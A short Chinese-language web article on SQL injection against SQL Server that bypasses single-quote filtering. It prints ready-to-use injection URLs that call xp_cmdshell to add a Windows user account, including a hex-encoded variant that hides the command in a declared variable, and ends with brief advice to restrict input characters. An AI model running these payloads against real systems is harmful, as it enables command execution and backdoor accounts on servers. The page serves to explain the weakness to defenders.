当前位置: 数据库>sqlserver
sql绕过单引号限制继续注入的解决方法
来源: 互联网 发布时间:2014-08-29
本文导语: 在防范sql注入时,对变量过滤不足甚至没有过滤而构造畸形SQL语句,极有可能被成功注入,比如下面这行sql,相当轻松就注入成功了: 代码示例: http://www./show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';-- 大家可能觉得...
在防范sql注入时,对变量过滤不足甚至没有过滤而构造畸形SQL语句,极有可能被成功注入,比如下面这行sql,相当轻松就注入成功了:
代码示例:
http://www./show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--
大家可能觉得变量过滤了'就可以防止SQL Injection攻击,仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:
代码示例:
http://www./show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--
是不是跟上面的那句有很大区别?可是效果完全是一样的,其实这些都是SQL语句。
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
这句是“net user angel pass /add”的16进制格式。
先声明一个变量a,然后把指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
代码示例:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
select @a=
exec master.dbo.xp_cmdshell @a
解决办法:
过滤变量,限制只允许输入特定字符。
比如对于数字类型的变量就限制只能输入数字类型的数据。
具体在程序中的操作方法,大家在编程时自行实践与总结,从细节入手,对于防范sql 注入务必处处用心啊。